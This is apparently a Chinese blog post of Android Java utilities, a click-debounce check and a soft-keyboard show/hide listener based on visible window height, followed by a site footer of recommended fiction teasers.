        long curTimeStamp = System.currentTimeMillis();
        long lastClickTimeStamp = 0;
        Object o = target.getTag(R.id.last_click_time);
        if (o == null) {
            target.setTag(R.id.last_click_time, curTimeStamp);
            return false;
        }
        lastClickTimeStamp = (Long) o;
        boolean isInvalid = curTimeStamp - lastClickTimeStamp < internalTime;
        if (!isInvalid)
            target.setTag(R.id.last_click_time, curTimeStamp);
        return isInvalid;
    }
}

監(jiān)聽鍵盤的顯示和收起

import android.app.Activity;
import android.graphics.Rect;
import android.view.View;

public class SoftKeyBoardListener {
    private View rootView;//activity的根視圖
    int rootViewVisibleHeight;//紀(jì)錄根視圖的顯示高度
    private OnSoftKeyBoardChangeListener onSoftKeyBoardChangeListener;

    public SoftKeyBoardListener(Activity activity) {
        //獲取activity的根視圖
        rootView = activity.getWindow().getDecorView();

        //監(jiān)聽視圖樹中全局布局發(fā)生改變或者視圖樹中的某個視圖的可視狀態(tài)發(fā)生改變
        rootView.getViewTreeObserver().addOnGlobalLayoutListener(() -> {
            //獲取當(dāng)前根視圖在屏幕上顯示的大小
            Rect r = new Rect();
            rootView.getWindowVisibleDisplayFrame(r);

            int visibleHeight = r.height();
            System.out.println("" + visibleHeight);
            if (rootViewVisibleHeight == 0) {
                rootViewVisibleHeight = visibleHeight;
                return;
            }

            //根視圖顯示高度沒有變化,可以看作軟鍵盤顯示/隱藏狀態(tài)沒有改變
            if (rootViewVisibleHeight == visibleHeight) {
                return;
            }

            //根視圖顯示高度變小超過200,可以看作軟鍵盤顯示了
            if (rootViewVisibleHeight - visibleHeight > 200) {
                if (onSoftKeyBoardChangeListener != null) {
                    onSoftKeyBoardChangeListener.keyBoardShow(rootViewVisibleHeight - visibleHeight);
                }
                rootViewVisibleHeight = visibleHeight;
                return;
            }

            //根視圖顯示高度變大超過200勺拣,可以看作軟鍵盤隱藏了
            if (visibleHeight - rootViewVisibleHeight > 200) {
                if (onSoftKeyBoardChangeListener != null) {
                    onSoftKeyBoardChangeListener.keyBoardHide(visibleHeight - rootViewVisibleHeight);
                }
                rootViewVisibleHeight = visibleHeight;
            }

        });
    }

    private void setOnSoftKeyBoardChangeListener(OnSoftKeyBoardChangeListener onSoftKeyBoardChangeListener) {
        this.onSoftKeyBoardChangeListener = onSoftKeyBoardChangeListener;
    }

    public interface OnSoftKeyBoardChangeListener {
        void keyBoardShow(int height);

        void keyBoardHide(int height);
    }

    public static void setListener(Activity activity, OnSoftKeyBoardChangeListener onSoftKeyBoardChangeListener) {
        SoftKeyBoardListener softKeyBoardListener = new SoftKeyBoardListener(activity);
        softKeyBoardListener.setOnSoftKeyBoardChangeListener(onSoftKeyBoardChangeListener);
    }
}
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末屈藐,一起剝皮案震驚了整個濱河市榔组,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌联逻,老刑警劉巖搓扯,帶你破解...
    沈念sama閱讀 219,110評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異包归,居然都是意外死亡锨推,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,443評論 3 395
  • 文/潘曉璐 我一進店門公壤,熙熙樓的掌柜王于貴愁眉苦臉地迎上來换可,“玉大人,你說我怎么就攤上這事厦幅≌傣” “怎么了?”我有些...
    開封第一講書人閱讀 165,474評論 0 356
  • 文/不壞的土叔 我叫張陵确憨,是天一觀的道長译荞。 經(jīng)常有香客問我瓤的,道長,這世上最難降的妖魔是什么磁椒? 我笑而不...
    開封第一講書人閱讀 58,881評論 1 295
  • 正文 為了忘掉前任堤瘤,我火速辦了婚禮,結(jié)果婚禮上浆熔,老公的妹妹穿的比我還像新娘本辐。我一直安慰自己,他們只是感情好医增,可當(dāng)我...
    茶點故事閱讀 67,902評論 6 392
  • 文/花漫 我一把揭開白布慎皱。 她就那樣靜靜地躺著,像睡著了一般叶骨。 火紅的嫁衣襯著肌膚如雪茫多。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,698評論 1 305
  • 那天忽刽,我揣著相機與錄音天揖,去河邊找鬼。 笑死跪帝,一個胖子當(dāng)著我的面吹牛今膊,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播伞剑,決...
    沈念sama閱讀 40,418評論 3 419
  • 文/蒼蘭香墨 我猛地睜開眼斑唬,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了黎泣?” 一聲冷哼從身側(cè)響起恕刘,我...
    開封第一講書人閱讀 39,332評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎抒倚,沒想到半個月后褐着,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,796評論 1 316
  • 正文 獨居荒郊野嶺守林人離奇死亡托呕,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,968評論 3 337
  • 正文 我和宋清朗相戀三年献起,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片镣陕。...
    茶點故事閱讀 40,110評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡谴餐,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出呆抑,到底是詐尸還是另有隱情岂嗓,我是刑警寧澤,帶...
    沈念sama閱讀 35,792評論 5 346
  • 正文 年R本政府宣布鹊碍,位于F島的核電站厌殉,受9級特大地震影響食绿,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜公罕,卻給世界環(huán)境...
    茶點故事閱讀 41,455評論 3 331
  • 文/蒙蒙 一器紧、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧楼眷,春花似錦铲汪、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,003評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至张吉,卻和暖如春齿梁,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背肮蛹。 一陣腳步聲響...
    開封第一講書人閱讀 33,130評論 1 272
  • 我被黑心中介騙來泰國打工勺择, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人伦忠。 一個月前我還...
    沈念sama閱讀 48,348評論 3 373
  • 正文 我出身青樓酵幕,卻偏偏與公主長得像,于是被迫代替她去往敵國和親缓苛。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,047評論 2 355